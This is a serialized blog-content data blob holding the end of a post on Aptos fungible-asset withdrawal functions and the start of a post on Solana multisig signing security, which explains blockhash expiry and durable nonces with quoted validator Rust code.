asset will already exist, preventing re-registration.",{"type":24,"tag":51,"props":67237,"children":67238},{"id":28683},[67239],{"type":29,"value":18686},{"type":24,"tag":25,"props":67241,"children":67242},{},[67243,67245,67250],{"type":29,"value":67244},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":32,"props":67246,"children":67248},{"className":67247},[],[67249],{"type":29,"value":60681},{"type":29,"value":161},{"type":24,"tag":25,"props":67252,"children":67253},{},[67254],{"type":29,"value":67255},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":67257,"children":67258},{},[67259,67261],{"type":29,"value":67260},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":15213,"props":67262,"children":67263},{},[67264],{"type":24,"tag":2033,"props":67265,"children":67267},{"href":29375,"ariaDescribedBy":67266,"dataFootnoteRef":7,"id":29377},[15220],[67268],{"type":29,"value":3756},{"type":24,"tag":18159,"props":67270,"children":67272},{"className":67271,"dataFootnotes":7},[18162],[67273,67278],{"type":24,"tag":51,"props":67274,"children":67276},{"className":67275,"id":15220},[18167],[67277],{"type":29,"value":18170},{"type":24,"tag":63,"props":67279,"children":67280},{},[67281],{"type":24,"tag":67,"props":67282,"children":67283},{"id":30117},[67284,67286,67328],{"type":29,"value":67285},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":16422,"props":67287,"children":67288},{},[67289,67299,67308,67318],{"type":24,"tag":67,"props":67290,"children":67291},{},[67292],{"type":24,"tag":2033,"props":67293,"children":67297},{"href":67294,"rel":67295,":style":67296},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[2037],"color: #007bff;",[67298],{"type":29,"value":63982},{"type":24,"tag":67,"props":67300,"children":67301},{},[67302],{"type":24,"tag":2033,"props":67303,"children":67306},{"href":67304,"rel":67305,":style":67296},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[2037],[67307],{"type":29,"value":65921},{"type":24,"tag":67,"props":67309,"children":67310},{},[67311],{"type":24,"tag":2033,"props":67312,"children":67315},{"href":67313,"rel":67314,":style":67296},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[2037],[67316],{"type":29,"value":67317},"primary_fungible_store::withdraw",{"type":24,"tag":67,"props":67319,"children":67320},{},[67321],{"type":24,"tag":2033,"props":67322,"children":67325},{"href":67323,"rel":67324,":style":67296},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[2037],[67326],{"type":29,"value":67327},"coin::withdraw",{"type":24,"tag":2033,"props":67329,"children":67331},{"href":30145,"ariaLabel":18273,"className":67330,"dataFootnoteBackref":7},[18275],[67332],{"type":29,"value":18278},{"type":24,"tag":2584,"props":67334,"children":67335},{},[67336],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":67338},[67339,67340,67341,67344,67349,67350,67351,67352],{"id":60667,"depth":113,"text":60670},{"id":61212,"depth":113,"text":61215},{"id":61772,"depth":113,"text":61775,"children":67342},[67343],{"id":62283,"depth":128,"text":62286},{"id":62540,"depth":113,"text":62543,"children":67345},[67346,67347,67348],{"id":62583,"depth":128,"text":62586},{"id":63288,"depth":128,"text":63291},{"id":64945,"depth":128,"text":64948},{"id":65476,"depth":113,"text":65479},{"id":66457,"depth":113,"text":66460},{"id":28683,"depth":113,"text":18686},{"id":15220,"depth":113,"text":18170},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":67357,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67358,"description":67359,"date":67360,"author":5465,"image":67361,"isFeatured":16,"onBlogPage":16,"tags":67363,"body":67364,"_type":2606,"_id":69192,"_source":2608,"_file":69193,"_stem":69194,"_extension":2611},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":67362,"width":5130,"height":5131},"/posts/multisig-security/title.png",[2623],{"type":21,"children":67365,"toc":69183},[67366,67379,67385,67390,67396,67409,67417,67430,67490,67512,67639,67644,67657,67669,67675,67689,67702,67716,68198,68203,68211,68225,68239,68378,68390,68396,68401,68419,68424,68429,68450,68734,68749,68937,68950,69079,69084,69089,69094,69122,69128,69133,69147,69179],{"type":24,"tag":25,"props":67367,"children":67368},{},[67369,67370,67377],{"type":29,"value":16348},{"type":24,"tag":2033,"props":67371,"children":67374},{"href":67372,"rel":67373},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[2037],[67375],{"type":29,"value":67376},"Bybit hack",{"type":29,"value":67378}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":51,"props":67380,"children":67382},{"id":67381},"solana-signatures",[67383],{"type":29,"value":67384},"Solana Signatures",{"type":24,"tag":25,"props":67386,"children":67387},{},[67388],{"type":29,"value":67389},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":1818,"props":67391,"children":67393},{"id":67392},"recent-blockhash",[67394],{"type":29,"value":67395},"Recent Blockhash",{"type":24,"tag":25,"props":67397,"children":67398},{},[67399,67401,67408],{"type":29,"value":67400},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":2033,"props":67402,"children":67405},{"href":67403,"rel":67404},"https://solana.com/developers/guides/advanced/confirmation",[2037],[67406],{"type":29,"value":67407},"the docs",{"type":29,"value":195},{"type":24,"tag":2677,"props":67410,"children":67411},{},[67412],{"type":24,"tag":25,"props":67413,"children":67414},{},[67415],{"type":29,"value":67416},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":67418,"children":67419},{},[67420,67422,67429],{"type":29,"value":67421},"The actual constant ",{"type":24,"tag":2033,"props":67423,"children":67426},{"href":67424,"rel":67425},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[2037],[67427],{"type":29,"value":67428},"is defined here",{"type":29,"value":161},{"type":24,"tag":73,"props":67431,"children":67433},{"className":2725,"code":67432,"language":2724,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[67434],{"type":24,"tag":32,"props":67435,"children":67436},{"__ignoreMap":7},[67437,67445],{"type":24,"tag":83,"props":67438,"children":67439},{"class":85,"line":86},[67440],{"type":24,"tag":83,"props":67441,"children":67442},{"style":2735},[67443],{"type":29,"value":67444},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":83,"props":67446,"children":67447},{"class":85,"line":113},[67448,67452,67456,67461,67465,67469,67473,67478,67482,67486],{"type":24,"tag":83,"props":67449,"children":67450},{"style":90},[67451],{"type":29,"value":13435},{"type":24,"tag":83,"props":67453,"children":67454},{"style":90},[67455],{"type":29,"value":38829},{"type":24,"tag":83,"props":67457,"children":67458},{"style":107},[67459],{"type":29,"value":67460}," MAX_PROCESSING_AGE",{"type":24,"tag":83,"props":67462,"children":67463},{"style":143},[67464],{"type":29,"value":195},{"type":24,"tag":83,"props":67466,"children":67467},{"style":3163},[67468],{"type":29,"value":13476},{"type":24,"tag":83,"props":67470,"children":67471},{"style":143},[67472],{"type":29,"value":146},{"type":24,"tag":83,"props":67474,"children":67475},{"style":107},[67476],{"type":29,"value":67477}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":83,"props":67479,"children":67480},{"style":143},[67481],{"type":29,"value":4325},{"type":24,"tag":83,"props":67483,"children":67484},{"style":245},[67485],{"type":29,"value":7681},{"type":24,"tag":83,"props":67487,"children":67488},{"style":107},[67489],{"type":29,"value":321},{"type":24,"tag":25,"props":67491,"children":67492},{},[67493,67495,67502,67504,67510],{"type":29,"value":67494},"For those curious, the logic ",{"type":24,"tag":2033,"props":67496,"children":67499},{"href":67497,"rel":67498},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[2037],[67500],{"type":29,"value":67501},"starts here",{"type":29,"value":67503}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":32,"props":67505,"children":67507},{"className":67506},[],[67508],{"type":29,"value":67509},"is_hash_index_valid",{"type":29,"value":67511}," check.",{"type":24,"tag":73,"props":67513,"children":67515},{"className":2725,"code":67514,"language":2724,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67516],{"type":24,"tag":32,"props":67517,"children":67518},{"__ignoreMap":7},[67519,67598,67632],{"type":24,"tag":83,"props":67520,"children":67521},{"class":85,"line":86},[67522,67526,67531,67535,67540,67544,67548,67552,67557,67561,67565,67569,67574,67578,67582,67586,67590,67594],{"type":24,"tag":83,"props":67523,"children":67524},{"style":90},[67525],{"type":29,"value":20007},{"type":24,"tag":83,"props":67527,"children":67528},{"style":101},[67529],{"type":29,"value":67530}," is_hash_index_valid",{"type":24,"tag":83,"props":67532,"children":67533},{"style":107},[67534],{"type":29,"value":558},{"type":24,"tag":83,"props":67536,"children":67537},{"style":137},[67538],{"type":29,"value":67539},"last_hash_index",{"type":24,"tag":83,"props":67541,"children":67542},{"style":143},[67543],{"type":29,"value":195},{"type":24,"tag":83,"props":67545,"children":67546},{"style":3163},[67547],{"type":29,"value":5606},{"type":24,"tag":83,"props":67549,"children":67550},{"style":107},[67551],{"type":29,"value":568},{"type":24,"tag":83,"props":67553,"children":67554},{"style":137},[67555],{"type":29,"value":67556},"max_age",{"type":24,"tag":83,"props":67558,"children":67559},{"style":143},[67560],{"type":29,"value":195},{"type":24,"tag":83,"props":67562,"children":67563},{"style":3163},[67564],{"type":29,"value":13476},{"type":24,"tag":83,"props":67566,"children":67567},{"style":107},[67568],{"type":29,"value":568},{"type":24,"tag":83,"props":67570,"children":67571},{"style":137},[67572],{"type":29,"value":67573},"hash_index",{"type":24,"tag":83,"props":67575,"children":67576},{"style":143},[67577],{"type":29,"value":195},{"type":24,"tag":83,"props":67579,"children":67580},{"style":3163},[67581],{"type":29,"value":5606},{"type":24,"tag":83,"props":67583,"children":67584},{"style":107},[67585],{"type":29,"value":633},{"type":24,"tag":83,"props":67587,"children":67588},{"style":143},[67589],{"type":29,"value":13502},{"type":24,"tag":83,"props":67591,"children":67592},{"style":3163},[67593],{"type":29,"value":11797},{"type":24,"tag":83,"props":67595,"children":67596},{"style":107},[67597],{"type":29,"value":125},{"type":24,"tag":83,"props":67599,"children":67600},{"class":85,"line":113},[67601,67606,67610,67615,67619,67624,67628],{"type":24,"tag":83,"props":67602,"children":67603},{"style":137},[67604],{"type":29,"value":67605},"    last_hash_index",{"type":24,"tag":83,"props":67607,"children":67608},{"style":143},[67609],{"type":29,"value":50970},{"type":24,"tag":83,"props":67611,"children":67612},{"style":137},[67613],{"type":29,"value":67614}," hash_index",{"type":24,"tag":83,"props":67616,"children":67617},{"style":143},[67618],{"type":29,"value":7942},{"type":24,"tag":83,"props":67620,"children":67621},{"style":137},[67622],{"type":29,"value":67623}," max_age",{"type":24,"tag":83,"props":67625,"children":67626},{"style":90},[67627],{"type":29,"value":8572},{"type":24,"tag":83,"props":67629,"children":67630},{"style":3163},[67631],{"type":29,"value":12942},{"type":24,"tag":83,"props":67633,"children":67634},{"class":85,"line":128},[67635],{"type":24,"tag":83,"props":67636,"children":67637},{"style":107},[67638],{"type":29,"value":464},{"type":24,"tag":25,"props":67640,"children":67641},{},[67642],{"type":29,"value":67643},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":2677,"props":67645,"children":67646},{},[67647],{"type":24,"tag":25,"props":67648,"children":67649},{},[67650,67652],{"type":29,"value":67651},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":2040,"props":67653,"children":67654},{},[67655],{"type":29,"value":67656},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":67658,"children":67659},{},[67660,67662,67667],{"type":29,"value":67661},"This means an attacker ",{"type":24,"tag":2655,"props":67663,"children":67664},{},[67665],{"type":29,"value":67666},"must use",{"type":29,"value":67668}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":1818,"props":67670,"children":67672},{"id":67671},"durable-nonce",[67673],{"type":29,"value":67674},"Durable Nonce",{"type":24,"tag":25,"props":67676,"children":67677},{},[67678,67680,67687],{"type":29,"value":67679},"The second type of signature ",{"type":24,"tag":2033,"props":67681,"children":67684},{"href":67682,"rel":67683},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[2037],[67685],{"type":29,"value":67686},"is a durable nonce",{"type":29,"value":67688},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":2677,"props":67690,"children":67691},{},[67692],{"type":24,"tag":25,"props":67693,"children":67694},{},[67695,67697],{"type":29,"value":67696},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":2040,"props":67698,"children":67699},{},[67700],{"type":29,"value":67701},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":67703,"children":67704},{},[67705,67707,67714],{"type":29,"value":67706},"If we examine the code ",{"type":24,"tag":2033,"props":67708,"children":67711},{"href":67709,"rel":67710},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[2037],[67712],{"type":29,"value":67713},"for recent blockhash validation",{"type":29,"value":67715},", we can also see the handling for durable nonces.",{"type":24,"tag":73,"props":67717,"children":67719},{"className":2725,"code":67718,"language":2724,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[67720],{"type":24,"tag":32,"props":67721,"children":67722},{"__ignoreMap":7},[67723,67770,67836,67856,67876,67906,67914,67968,67985,68005,68017,68029,68037,68044,68063,68090,68110,68117,68132,68162,68191],{"type":24,"tag":83,"props":67724,"children":67725},{"class":85,"line":86},[67726,67730,67735,67739,67744,67748,67753,67757,67761,67766],{"type":24,"tag":83,"props":67727,"children":67728},{"style":90},[67729],{"type":29,"value":2746},{"type":24,"tag":83,"props":67731,"children":67732},{"style":137},[67733],{"type":29,"value":67734}," recent_blockhash",{"type":24,"tag":83,"props":67736,"children":67737},{"style":143},[67738],{"type":29,"value":146},{"type":24,"tag":83,"props":67740,"children":67741},{"style":137},[67742],{"type":29,"value":67743}," tx",{"type":24,"tag":83,"props":67745,"children":67746},{"style":143},[67747],{"type":29,"value":161},{"type":24,"tag":83,"props":67749,"children":67750},{"style":101},[67751],{"type":29,"value":67752},"message",{"type":24,"tag":83,"props":67754,"children":67755},{"style":107},[67756],{"type":29,"value":13624},{"type":24,"tag":83,"props":67758,"children":67759},{"style":143},[67760],{"type":29,"value":161},{"type":24,"tag":83,"props":67762,"children":67763},{"style":101},[67764],{"type":29,"value":67765},"recent_blockhash",{"type":24,"tag":83,"props":67767,"children":67768},{"style":107},[67769],{"type":29,"value":267},{"type":24,"tag":83,"props":67771,"children":67772},{"class":85,"line":113},[67773,67777,67781,67785,67789,67794,67798,67802,67807,67811,67816,67820,67824,67828,67832],{"type":24,"tag":83,"props":67774,"children":67775},{"style":117},[67776],{"type":29,"value":218},{"type":24,"tag":83,"props":67778,"children":67779},{"style":90},[67780],{"type":29,"value":27054},{"type":24,"tag":83,"props":67782,"children":67783},{"style":3163},[67784],{"type":29,"value":27059},{"type":24,"tag":83,"props":67786,"children":67787},{"style":107},[67788],{"type":29,"value":558},{"type":24,"tag":83,"props":67790,"children":67791},{"style":137},[67792],{"type":29,"value":67793},"hash_info",{"type":24,"tag":83,"props":67795,"children":67796},{"style":107},[67797],{"type":29,"value":633},{"type":24,"tag":83,"props":67799,"children":67800},{"style":143},[67801],{"type":29,"value":1275},{"type":24,"tag":83,"props":67803,"children":67804},{"style":137},[67805],{"type":29,"value":67806}," hash_queue",{"type":24,"tag":83,"props":67808,"children":67809},{"style":143},[67810],{"type":29,"value":161},{"type":24,"tag":83,"props":67812,"children":67813},{"style":101},[67814],{"type":29,"value":67815},"get_hash_info_if_valid",{"type":24,"tag":83,"props":67817,"children":67818},{"style":107},[67819],{"type":29,"value":558},{"type":24,"tag":83,"props":67821,"children":67822},{"style":137},[67823],{"type":29,"value":67765},{"type":24,"tag":83,"props":67825,"children":67826},{"style":107},[67827],{"type":29,"value":568},{"type":24,"tag":83,"props":67829,"children":67830},{"style":137},[67831],{"type":29,"value":67556},{"type":24,"tag":83,"props":67833,"children":67834},{"style":107},[67835],{"type":29,"value":253},{"type":24,"tag":83,"props":67837,"children":67838},{"class":85,"line":128},[67839,67843,67847,67852],{"type":24,"tag":83,"props":67840,"children":67841},{"style":3163},[67842],{"type":29,"value":14554},{"type":24,"tag":83,"props":67844,"children":67845},{"style":107},[67846],{"type":29,"value":558},{"type":24,"tag":83,"props":67848,"children":67849},{"style":3163},[67850],{"type":29,"value":67851},"CheckedTransactionDetails",{"type":24,"tag":83,"props":67853,"children":67854},{"style":107},[67855],{"type":29,"value":125},{"type":24,"tag":83,"props":67857,"children":67858},{"class":85,"line":183},[67859,67864,67868,67872],{"type":24,"tag":83,"props":67860,"children":67861},{"style":137},[67862],{"type":29,"value":67863},"            nonce",{"type":24,"tag":83,"props":67865,"children":67866},{"style":143},[67867],{"type":29,"value":195},{"type":24,"tag":83,"props":67869,"children":67870},{"style":3163},[67871],{"type":29,"value":27507},{"type":24,"tag":83,"props":67873,"children":67874},{"style":107},[67875],{"type":29,"value":989},{"type":24,"tag":83,"props":67877,"children":67878},{"class":85,"line":203},[67879,67884,67888,67893,67897,67902],{"type":24,"tag":83,"props":67880,"children":67881},{"style":137},[67882],{"type":29,"value":67883},"            lamports_per_signature",{"type":24,"tag":83,"props":67885,"children":67886},{"style":143},[67887],{"type":29,"value":195},{"type":24,"tag":83,"props":67889,"children":67890},{"style":137},[67891],{"type":29,"value":67892}," hash_info",{"type":24,"tag":83,"props":67894,"children":67895},{"style":143},[67896],{"type":29,"value":161},{"type":24,"tag":83,"props":67898,"children":67899},{"style":101},[67900],{"type":29,"value":67901},"lamports_per_signature",{"type":24,"tag":83,"props":67903,"children":67904},{"style":107},[67905],{"type":29,"value":3236},{"type":24,"tag":83,"props":67907,"children":67908},{"class":85,"line":212},[67909],{"type":24,"tag":83,"props":67910,"children":67911},{"style":107},[67912],{"type":29,"value":67913},"        })\n",{"type":24,"tag":83,"props":67915,"children":67916},{"class":85,"line":256},[67917,67921,67925,67929,67933,67937,67941,67946,67950,67955,67959,67963],{"type":24,"tag":83,"props":67918,"children":67919},{"style":107},[67920],{"type":29,"value":373},{"type":24,"tag":83,"props":67922,"children":67923},{"style":117},[67924],{"type":29,"value":378},{"type":24,"tag":83,"props":67926,"children":67927},{"style":117},[67928],{"type":29,"value":383},{"type":24,"tag":83,"props":67930,"children":67931},{"style":90},[67932],{"type":29,"value":27054},{"type":24,"tag":83,"props":67934,"children":67935},{"style":3163},[67936],{"type":29,"value":27059},{"type":24,"tag":83,"props":67938,"children":67939},{"style":107},[67940],{"type":29,"value":31266},{"type":24,"tag":83,"props":67942,"children":67943},{"style":137},[67944],{"type":29,"value":67945},"nonce",{"type":24,"tag":83,"props":67947,"children":67948},{"style":107},[67949],{"type":29,"value":568},{"type":24,"tag":83,"props":67951,"children":67952},{"style":137},[67953],{"type":29,"value":67954},"previous_lamports_per_signature",{"type":24,"tag":83,"props":67956,"children":67957},{"style":107},[67958],{"type":29,"value":8581},{"type":24,"tag":83,"props":67960,"children":67961},{"style":143},[67962],{"type":29,"value":1275},{"type":24,"tag":83,"props":67964,"children":67965},{"style":90},[67966],{"type":29,"value":67967}," self\n",{"type":24,"tag":83,"props":67969,"children":67970},{"class":85,"line":270},[67971,67976,67981],{"type":24,"tag":83,"props":67972,"children":67973},{"style":143},[67974],{"type":29,"value":67975},"        .",{"type":24,"tag":83,"props":67977,"children":67978},{"style":101},[67979],{"type":29,"value":67980},"check_load_and_advance_message_nonce_account",{"type":24,"tag":83,"props":67982,"children":67983},{"style":107},[67984],{"type":29,"value":3208},{"type":24,"tag":83,"props":67986,"children":67987},{"class":85,"line":302},[67988,67993,67997,68001],{"type":24,"tag":83,"props":67989,"children":67990},{"style":137},[67991],{"type":29,"value":67992},"            tx",{"type":24,"tag":83,"props":67994,"children":67995},{"style":143},[67996],{"type":29,"value":161},{"type":24,"tag":83,"props":67998,"children":67999},{"style":101},[68000],{"type":29,"value":67752},{"type":24,"tag":83,"props":68002,"children":68003},{"style":107},[68004],{"type":29,"value":3236},{"type":24,"tag":83,"props":68006,"children":68007},{"class":85,"line":324},[68008,68013],{"type":24,"tag":83,"props":68009,"children":68010},{"style":137},[68011],{"type":29,"value":68012},"            next_durable_nonce",{"type":24,"tag":83,"props":68014,"children":68015},{"style":107},[68016],{"type":29,"value":989},{"type":24,"tag":83,"props":68018,"children":68019},{"class":85,"line":345},[68020,68025],{"type":24,"tag":83,"props":68021,"children":68022},{"style":137},[68023],{"type":29,"value":68024},"            next_lamports_per_signature",{"type":24,"tag":83,"props":68026,"children":68027},{"style":107},[68028],{"type":29,"value":989},{"type":24,"tag":83,"props":68030,"children":68031},{"class":85,"line":358},[68032],{"type":24,"tag":83,"props":68033,"children":68034},{"style":107},[68035],{"type":29,"value":68036},"        )\n",{"type":24,"tag":83,"props":68038,"children":68039},{"class":85,"line":367},[68040],{"type":24,"tag":83,"props":68041,"children":68042},{"style":107},[68043],{"type":29,"value":28938},{"type":24,"tag":83,"props":68045,"children":68046},{"class":85,"line":406},[68047,68051,68055,68059],{"type":24,"tag":83,"props":68048,"children":68049},{"style":3163},[68050],{"type":29,"value":14554},{"type":24,"tag":83,"props":68052,"children":68053},{"style":107},[68054],{"type":29,"value":558},{"type":24,"tag":83,"props":68056,"children":68057},{"style":3163},[68058],{"type":29,"value":67851},{"type":24,"tag":83,"props":68060,"children":68061},{"style":107},[68062],{"type":29,"value":125},{"type":24,"tag":83,"props":68064,"children":68065},{"class":85,"line":427},[68066,68070,68074,68078,68082,68086],{"type":24,"tag":83,"props":68067,"children":68068},{"style":137},[68069],{"type":29,"value":67863},{"type":24,"tag":83,"props":68071,"children":68072},{"style":143},[68073],{"type":29,"value":195},{"type":24,"tag":83,"props":68075,"children":68076},{"style":3163},[68077],{"type":29,"value":27059},{"type":24,"tag":83,"props":68079,"children":68080},{"style":107},[68081],{"type":29,"value":558},{"type":24,"tag":83,"props":68083,"children":68084},{"style":137},[68085],{"type":29,"value":67945},{"type":24,"tag":83,"props":68087,"children":68088},{"style":107},[68089],{"type":29,"value":6483},{"type":24,"tag":83,"props":68091,"children":68092},{"class":85,"line":440},[68093,68097,68101,68106],{"type":24,"tag":83,"props":68094,"children":68095},{"style":137},[68096],{"type":29,"value":67883},{"type":24,"tag":83,"props":68098,"children":68099},{"style":143},[68100],{"type":29,"value":195},{"type":24,"tag":83,"props":68102,"children":68103},{"style":137},[68104],{"type":29,"value":68105}," previous_lamports_per_signature",{"type":24,"tag":83,"props":68107,"children":68108},{"style":107},[68109],{"type":29,"value":989},{"type":24,"tag":83,"props":68111,"children":68112},{"class":85,"line":449},[68113],{"type":24,"tag":83,"props":68114,"children":68115},{"style":107},[68116],{"type":29,"value":67913},{"type":24,"tag":83,"props":68118,"children":68119},{"class":85,"line":458},[68120,68124,68128],{"type":24,"tag":83,"props":68121,"children":68122},{"style":107},[68123],{"type":29,"value":373},{"type":24,"tag":83,"props":68125,"children":68126},{"style":117},[68127],{"type":29,"value":378},{"type":24,"tag":83,"props":68129,"children":68130},{"style":107},[68131],{"type":29,"value":125},{"type":24,"tag":83,"props":68133,"children":68134},{"class":85,"line":1065},[68135,68140,68144,68149,68154,68158],{"type":24,"tag":83,"props":68136,"children":68137},{"style":137},[68138],{"type":29,"value":68139},"        error_counters",{"type":24,"tag":83,"props":68141,"children":68142},{"style":143},[68143],{"type":29,"value":161},{"type":24,"tag":83,"props":68145,"children":68146},{"style":107},[68147],{"type":29,"value":68148},"blockhash_not_found ",{"type":24,"tag":83,"props":68150,"children":68151},{"style":143},[68152],{"type":29,"value":68153},"+=",{"type":24,"tag":83,"props":68155,"children":68156},{"style":245},[68157],{"type":29,"value":295},{"type":24,"tag":83,"props":68159,"children":68160},{"style":107},[68161],{"type":29,"value":321},{"type":24,"tag":83,"props":68163,"children":68164},{"class":85,"line":1668},[68165,68169,68173,68178,68182,68187],{"type":24,"tag":83,"props":68166,"children":68167},{"style":3163},[68168],{"type":29,"value":14597},{"type":24,"tag":83,"props":68170,"children":68171},{"style":107},[68172],{"type":29,"value":558},{"type":24,"tag":83,"props":68174,"children":68175},{"style":3163},[68176],{"type":29,"value":68177},"TransactionError",{"type":24,"tag":83,"props":68179,"children":68180},{"style":143},[68181],{"type":29,"value":3226},{"type":24,"tag":83,"props":68183,"children":68184},{"style":3163},[68185],{"type":29,"value":68186},"BlockhashNotFound",{"type":24,"tag":83,"props":68188,"children":68189},{"style":107},[68190],{"type":29,"value":2905},{"type":24,"tag":83,"props":68192,"children":68193},{"class":85,"line":1713},[68194],{"type":24,"tag":83,"props":68195,"children":68196},{"style":107},[68197],{"type":29,"value":446},{"type":24,"tag":25,"props":68199,"children":68200},{},[68201],{"type":29,"value":68202},"The documentation does a good job of explaining how they work.",{"type":24,"tag":2677,"props":68204,"children":68205},{},[68206],{"type":24,"tag":25,"props":68207,"children":68208},{},[68209],{"type":29,"value":68210},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":68212,"children":68213},{},[68214,68216,68223],{"type":29,"value":68215},"Durable nonces are created and managed ",{"type":24,"tag":2033,"props":68217,"children":68220},{"href":68218,"rel":68219},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[2037],[68221],{"type":29,"value":68222},"by the system program",{"type":29,"value":68224},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":68226,"children":68227},{},[68228,68230,68237],{"type":29,"value":68229},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":2033,"props":68231,"children":68234},{"href":68232,"rel":68233},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[2037],[68235],{"type":29,"value":68236},"based on the current blockhash",{"type":29,"value":68238},", and cannot be predicted in advance.",{"type":24,"tag":73,"props":68240,"children":68242},{"className":2725,"code":68241,"language":2724,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68243],{"type":24,"tag":32,"props":68244,"children":68245},{"__ignoreMap":7},[68246,68298,68331],{"type":24,"tag":83,"props":68247,"children":68248},{"class":85,"line":86},[68249,68253,68257,68261,68265,68269,68274,68278,68282,68286,68290,68294],{"type":24,"tag":83,"props":68250,"children":68251},{"style":90},[68252],{"type":29,"value":2746},{"type":24,"tag":83,"props":68254,"children":68255},{"style":137},[68256],{"type":29,"value":67806},{"type":24,"tag":83,"props":68258,"children":68259},{"style":143},[68260],{"type":29,"value":146},{"type":24,"tag":83,"props":68262,"children":68263},{"style":90},[68264],{"type":29,"value":13542},{"type":24,"tag":83,"props":68266,"children":68267},{"style":143},[68268],{"type":29,"value":161},{"type":24,"tag":83,"props":68270,"children":68271},{"style":107},[68272],{"type":29,"value":68273},"blockhash_queue",{"type":24,"tag":83,"props":68275,"children":68276},{"style":143},[68277],{"type":29,"value":161},{"type":24,"tag":83,"props":68279,"children":68280},{"style":101},[68281],{"type":29,"value":60355},{"type":24,"tag":83,"props":68283,"children":68284},{"style":107},[68285],{"type":29,"value":13624},{"type":24,"tag":83,"props":68287,"children":68288},{"style":143},[68289],{"type":29,"value":161},{"type":24,"tag":83,"props":68291,"children":68292},{"style":101},[68293],{"type":29,"value":3410},{"type":24,"tag":83,"props":68295,"children":68296},{"style":107},[68297],{"type":29,"value":267},{"type":24,"tag":83,"props":68299,"children":68300},{"class":85,"line":113},[68301,68305,68310,68314,68318,68322,68327],{"type":24,"tag":83,"props":68302,"children":68303},{"style":90},[68304],{"type":29,"value":2746},{"type":24,"tag":83,"props":68306,"children":68307},{"style":137},[68308],{"type":29,"